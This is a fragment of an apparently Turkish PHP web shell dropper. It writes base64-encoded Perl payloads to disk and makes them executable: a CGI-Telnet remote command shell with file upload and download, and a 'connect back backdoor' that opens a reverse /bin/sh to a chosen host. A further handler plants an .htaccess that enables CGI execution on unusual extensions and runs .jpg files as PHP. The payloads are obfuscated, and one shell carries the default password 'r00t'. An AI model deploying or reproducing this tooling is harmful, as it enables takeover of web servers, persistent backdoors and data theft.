gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgoKPGNvZGU+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4KPGJyPktpbGxlZCBpdCEKRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kIjsKCX0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZDx4bXA+IjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CgkJaWYoISRXaW5OVCkKCQl7CgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCQl9CgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJCXsKCQkJJHw9MTsKCQkJJENvbW1hbmQgLj0gIiB8IjsKCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikKCQkJewoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCQlwcmludCAiJF9cbiI7CgkJCX0KCQkJJHw9MDsKCQl9CgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgkJewoJCQlwcmludCBgJENvbW1hbmRgOwoJCX0KCQlpZighJFdpbk5UKQoJCXsKCQkJYWxhcm0oMCk7CgkJfQoJCXByaW50ICI8L3htcD4iOwoJfQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCXByaW50IDw8RU5EOwo8Y29kZT4KClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uCkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcgp7Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJYmlubW9kZShTRU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9CgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsKCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsKCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsKCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsKCQljbG9zZShTRU5ERklMRSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50RmlsZVVwbG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1cm47Cgl9CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCXByaW50ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsKCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CglwcmludCAiIjsKCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1cm47Cgl9CgkKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307CiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsKJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsKJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwoKJEFjdGlvbiA9ICRpbnsnYSd9OwokQWN0aW9uID0gImxvZ2luIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICRpbnsnZCd9OwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbgp7CgkmUGVyZm9ybUxvZ2luOwoKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0='; $file = fopen("izo.cin" ,"w+"); $write = fwrite ($file ,base64_decode($cgishellizocin)); fclose($file); chmod("izo.cin",0755); $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+ JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE YXRhY2hlZFxuXG4iOw=='; $file = fopen("dc.pl" ,"w+"); $write = fwrite ($file ,base64_decode($netcatshell)); fclose($file); chmod("dc.pl",0755); echo '

Perl Izocin Cgi Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)

Perl Izocin Cgi
'; } if(isset($_POST['cgi2'])){ mkdir("cgitelnet"); chdir("cgitelnet"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,'w'); $metin = "Options +FollowSymLinks +Indexes\nDirectoryIndex default.html \n## START ##\nOptions +ExecCGI\nAddHandler cgi-script log cgi pl tg love h4 tgb x-zone \nAddType application/x-httpd-php .jpg\nRewriteEngine on\nRewriteRule (.*)\war$ .log\n## END ##"; fwrite($dosya,$metin); fclose($dosya); $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+S3ltIExqbms8L2ZvbnQ+IjsKCiRQYXNzd29yZCA9ICJyMDB0IjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCnN1YiBJc19XaW4oKXsKCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsKCWlmKCRvcyA9fiBtL3dpbi9pKXsKCQlyZXR1cm4gMTsKCX1lbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4KCiROVENtZFNlcCA9ICImIjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJCSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwok